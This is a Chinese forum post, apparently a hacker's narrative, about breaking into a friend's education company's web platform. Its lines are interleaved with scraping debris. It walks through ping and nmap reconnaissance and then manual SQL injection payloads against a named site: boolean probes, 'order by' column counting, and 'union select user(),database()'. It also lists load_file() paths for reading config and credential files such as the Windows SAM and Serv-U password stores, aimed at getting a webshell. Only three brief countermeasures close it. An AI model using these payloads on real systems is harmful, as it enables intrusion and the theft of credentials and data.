题记：6 x0 [. q, h4 k! m
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……% h, D7 G* e, A- p" W
第一步：获取需要的信息6 z8 ~3 d: {+ ^- f0 W% @& o
由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。 j( M0 R" H1 v% w2 O9 b
注：以下为保护特用XXX代替敏感信息
9 f& u1 ^" a! w" h2 v) ~顺手先PING了一下他们的域名：
2 M* U# L; l: _2 |- @9 Tping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
v2 K( x* f7 k% S3 Y64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
; o& J$ W4 Y8 J0 `. k: x0 h) `顺便了解一下TTL，学好基础知识才能一路顺风：1 O" A# {" O* H# |$ i
TTL：(Time To Live ) 生存时间: I" W/ h6 p+ X: A" x
指定数据包被路由器丢弃之前允许通过的网段数量。
. ?8 U# J6 k& a/ s# f& A& i! bTTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。8 _& b0 ]/ e9 W, Y+ p* b9 ?
使用PING时涉及到的 ICMP 报文类型
2 S" A! p; E" G+ G \一个为ICMP请求回显（ICMP Echo Request）
) e. w' f* l' v( F一个为ICMP回显应答（ICMP Echo Reply）: j; {% L$ r) ~: |% ]% @
TTL 字段值可以帮助我们识别操作系统类型。
' U8 P! w" D7 J2 {/ QUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
8 j7 K( w( r/ X+ B5 y3 U# cCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64$ O0 U: s) u2 F' d y' g$ r/ O6 ]# k
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
) c; M5 v' V/ L, N/ O! U微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 328 O7 u; [( ]3 ~5 h+ R
当然，返回的TTL值是相同的
; \' D2 w" u2 K. H* K# {! k) g但有些情况下有所特殊
8 U: }, m8 z1 c8 {( N0 o" Y5 cLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
9 M& U) k* M$ EFreeBSD 4.1, 4.0, 3.4;
0 d1 ^. m0 K4 rSun Solaris 2.5.1, 2.6, 2.7, 2.8;
1 X) P3 ]! ?9 Y) ~" z3 }* L4 @OpenBSD 2.6, 2.7,' i% b- p: W& `; e$ v( p$ i: a
NetBSD
% Q- q! h/ R, U2 j1 b% ]" Z r0 rHP UX 10.20/ k' V) B& }- E* a {
ICMP 回显应答的 TTL 字段值为 255
* g8 n4 G' S& ^Windows 95/98/98SE
/ Z- k9 ^7 @3 TWindows ME
2 _# W& E' h2 Q# MICMP 回显应答的 TTL 字段值为 322 ?$ w3 H* C" Z( e, A
Windows NT4 WRKS0 A; P2 K% T8 z! t: t% T
Windows NT4 Server8 K9 f' \- v5 Z* _
Windows 2000
$ U8 y7 j4 N. x' c6 k" D3 eWindows XP
G4 y& F9 X( J! d4 XICMP 回显应答的 TTL 字段值为 128
1 L0 s p! O: f这样，我们就可以通过这种方法来辨别操作系统
. K. v9 N' {0 C, j$ K- STTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
; \/ {5 t. u% H用NMAP扫描一下：0 Z% d G3 u- ^4 A( k+ H% a
nmap -sT -O XXX.XXX.XXX.XXX! } S' ]1 w$ B8 y( _$ w
如果没有装WinPcap则会弹出提示：
8 y7 ]4 m* v! k7 C! `+ wWARNING: Could not import all necessary WinPcap functions. You may need to upgr
8 U' d& {- V" y7 X2 `ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
) A6 K$ E+ Y0 [9 F/ q. |) }) mode — Nmap may not function completely" k( G1 T) [4 b9 b. _; o h
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher, ^" r, _+ ^8 U+ }
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win) N" J4 S: r9 @* N% d3 B! G
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an, V8 a" d0 X& u% m; ~+ Q4 ]$ s
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v$ a0 f9 K0 p m9 y8 m
ersions, you may be able to take iphlpapi.dll from another system and place it i& ~/ M- D- x& F8 e: L3 V% W
n your system32 dir (e.g. c:\windows\system32).
( o M' M+ U1 ^, n" u8 Y( sQUITTING!6 m6 B: _, q7 h
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
3 H' M2 @3 d L$ O% [ a安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：$ v% R$ v4 J- G& ^
Interesting ports on XXX.XXX.XXX.XXX:0 ]- }* V Y+ M
Not shown: 986 closed ports; B8 e. y2 r2 ?! _% W
PORT STATE SERVICE
, o4 g' D$ v/ |2 ^21/tcp open ftp
* g3 `; ]( K" d22/tcp open ssh
' `' x5 t0 w$ R+ C1 B ~23/tcp open telnet- U- d9 E8 S: N4 ^" o$ ^" R2 g
80/tcp open http# n: W3 i& D- ~! v- i
111/tcp open rpcbind
7 w) T9 j( z2 \$ n0 t5 p135/tcp filtered msrpc
6 b3 V0 Y1 }: E2 m! X0 h' n$ E. W139/tcp filtered netbios-ssn
' G1 U( Y! {* G, n$ d445/tcp filtered microsoft-ds
' I' l" w, {1 j0 J( d513/tcp open login" f( _5 z$ R4 X$ v
514/tcp open shell) p, N8 w- R0 |3 P* P; u0 L
593/tcp filtered http-rpc-epmap" `1 k4 i# h) t* j: @) ^
1720/tcp filtered H.323/Q.931
' p% l1 C! U" T& V+ G+ L3306/tcp open mysql
. g; Z: w1 W& Q4444/tcp filtered krb524
5 @/ b x9 y0 ?Device type: WAP
; _' G3 m2 D% L' M" V* IRunning: Linux 2.4.X$ N, ]& j* _ D9 P2 ?1 W4 I) p) R
OS details: DD-WRT (Linux 2.4.35s)
8 C6 Z- E) O3 PNetwork Distance: 13 hops' v2 m4 ~4 o1 N9 a6 f. n; b, o$ f
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
1 U; P7 E4 L: e8 [login as:2 K: w u1 [- x1 ?6 L
Telnet23端口也是开着的，用telnet 命令链接一下：
/ m7 P6 [9 c7 Z" atelnet XXX.XXX.XXX.XXX; _ ?3 p6 N4 ]5 s
提示：
9 O9 X8 G2 k6 q: G$ ^6 fRed Hat Enterprise Linux Server release 5.2 (Tikanga)
+ ^% L$ g9 A$ ~6 I$ U6 ^Kernel 2.6.18-92.el5PAE on an i686$ _. D0 ?+ E( T& w6 h4 Y! D+ A# r, D
login:1 e' p9 A8 T8 o* T' N+ w
获取HTTP头信息：3 w# K/ o9 J' \6 {1 q
在本地执行如下PHP代码) G" M. C" r' x7 ~1 a! P/ [6 Y
<?php
' ?' q% q) `9 {$url = ‘XXX.XXX.XXX.XXX’;9 A7 u+ e6 \; U I" Y# ^+ j
print_r(get_headers($url));
% ?. M' m1 e: xprint_r(get_headers($url, 1));5 T3 s4 L7 F. I. \
?>7 x3 b5 f1 p) e! i& p
将以上代码保存为PHP文件，执行：
+ ]2 j! T% f, J9 }/ K; q- b" x' |Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )& G4 {; j# J H2 T- q5 ^
现在可以得出结论：
, n- \1 l9 N* e! R" o系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)& h' [! N/ M7 T6 l# O& r$ |( V, L6 U
内核版本：Kernel 2.6.18-92.el5PAE on an i686
m* |7 s3 k' O0 e7 t( D% e- bWEB服务器版本：nginx/0.7.61! U4 E" }3 c6 B7 i9 x* [! Z3 J
第二步，开始测试寻找漏洞
/ c) j9 I( q5 Q4 ~分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
# D1 l5 l8 q1 q4 ^0 Y+ K: f, Q M1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的: |" P2 P! q! W: u6 ~& p
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
: [, ^7 ]$ K' B2 M8 ihttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常$ T$ S; N8 e0 Y0 F& R- C1 g/ }) B
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
0 y/ I% {+ U* s6 P0 U, n恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
/ r% }6 {- H: ?; X2 f3、手工注入：+ K8 M/ s6 s: h, v1 s6 ^' H
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。8 B$ Q' |5 n& B, [
3.1 猜测当前表字段数" y% P! l9 n1 r7 k# h
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
1 s! d/ M, M8 q0 @; j" ~此处猜测有个简单的算法，都是有技巧的吗，呵呵
( d4 `/ X6 A" y算法简单如下：
6 y- Y& `) N* o Q( h7 ?+ r第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；3 H1 q1 v, G5 N, p5 n* I
第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；! }; n/ j2 q4 m2 A6 u( v
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。; a5 t' L% e4 j, L T- L
以此来判断，是否过界，配合取中算法猜出字段数。
j7 r1 W7 j' s. I举例：
8 @7 Y4 S0 s6 J. r2 i9 G5 ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常( }) l5 M" M$ U$ ]
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
' A5 ^! d2 R1 J1 q此时3则为我们要找的字段数。
, I$ c8 D& ^1 g1 _0 H& ^3.2 配合union联合查询字段在页面所位置
) Z: A$ L- E. O/ E4 U/ x/ z H6 y我们已经知道了字段数为3，此时则可以做如下操作：: ^+ f1 m6 Y0 \1 Y$ Y! o
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
$ h( y* I" D/ Q U% C, W- l' \, G0 y- m% }* t. c5 J8 x& R& c
这样就可以测试到哪些字段在页面上有所显示了，如图：
# O; t8 j" w4 h. q5 V& Q( v5 [: s/ M
3.3 查敏感信息
8 o! [$ Y. [; u) q) q9 U这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
# q, l' o7 h4 mhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database(), D8 s9 c ~7 K! }
3.3.1 先查数据库用户、数据库名，以备后用，如图：9 R3 c8 h0 q- r
& C- ]6 F3 O, s3 s7 Z3 W得到数据库用户为root、数据库名为DBxx；# e% P2 E0 _. C& O9 a
3.3.2 查配置文件& h8 x0 V9 @ v* a
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。
- c) q& Q) Q6 d) y# n P7 ?9 O查看文件有一定的条件限制：3 \ ]# U( u2 m8 g; D
欲读取文件必须在服务器上
- a! I! @! P/ F必须指定文件完整的路径; L* W- t! r" Z* Z' A, ~" @3 ?8 l
必须有权限读取并且文件必须完全可读# P* N2 e; U2 Z( B: X7 L& H% o" r$ c
欲读取文件必须小于 max_allowed_packet1 N9 r( R9 p/ }+ \7 _7 a
MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
1 m: _; y/ I/ a: i常用的一些：
; J4 s6 J" h. Y* _& e9 u/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件1 l; t( x4 `0 V& Y8 [
/usr/local/apache2/conf/httpd.conf. f. B% J5 M' L1 O6 y
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 p! _4 F, g g# S- h/ H
/usr/local/app/php5/lib/php.ini //PHP相关设置+ g2 q1 {. _/ U
/etc/sysconfig/iptables //从中得到防火墙规则策略
& _# P) p: R/ E; n1 ~( c8 {/etc/httpd/conf/httpd.conf // apache配置文件* O$ K7 \3 n J
/etc/rsyncd.conf //同步程序配置文件6 q7 j8 J, j. h& e( x7 o+ A
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
" x7 G. O. D/ C6 j0 T( C; v [/etc/my.cnf //mysql的配置文件; R4 \6 d0 `1 J1 X- [6 C
/etc/redhat-release //系统版本
& { F. |- k$ ^# u, C+ B3 T- X, J/etc/issue3 L- e5 m( I, s0 X- e
/etc/issue.net0 A; ^$ E. n6 I0 r
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码2 w1 P2 B3 e& M+ z( j
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
; @- y6 J, b- H% v- Kc:\Program Files\Serv-U\ServUDaemon.ini
# O8 n" S; Y: L8 o- rc:\windows\my.ini //MYSQL配置文件
! {& y* @! d. n |$ ~- v3 q gc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
- x$ y* F1 ~2 ^$ Q7 ?9 q- h等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，% s/ h8 l. N: t
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
" U% o2 R& e9 |- `/ G2 R$ l2 ]c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
0 D2 D, y7 Z5 \) Q" jc:\Program Files\RhinoSoft.com\ServUDaemon.exe2 z2 F. j3 f' U. B4 L
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件7 J& D) o' K8 s( x$ v8 w
//存储了pcAnywhere的登陆密码
8 n2 N) u G. ?, s由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
& j( I: b" R- Q* E9 ~, E这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。 t5 F( t! E9 K
最后：防范措施
0 L. [( E0 R. \2 r1、修复PHP注入漏洞；; b0 L6 o8 u1 N" L+ y
2、Mysql使用普通权限的用户；' t; l/ ]1 X% [$ h6 `+ }
3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对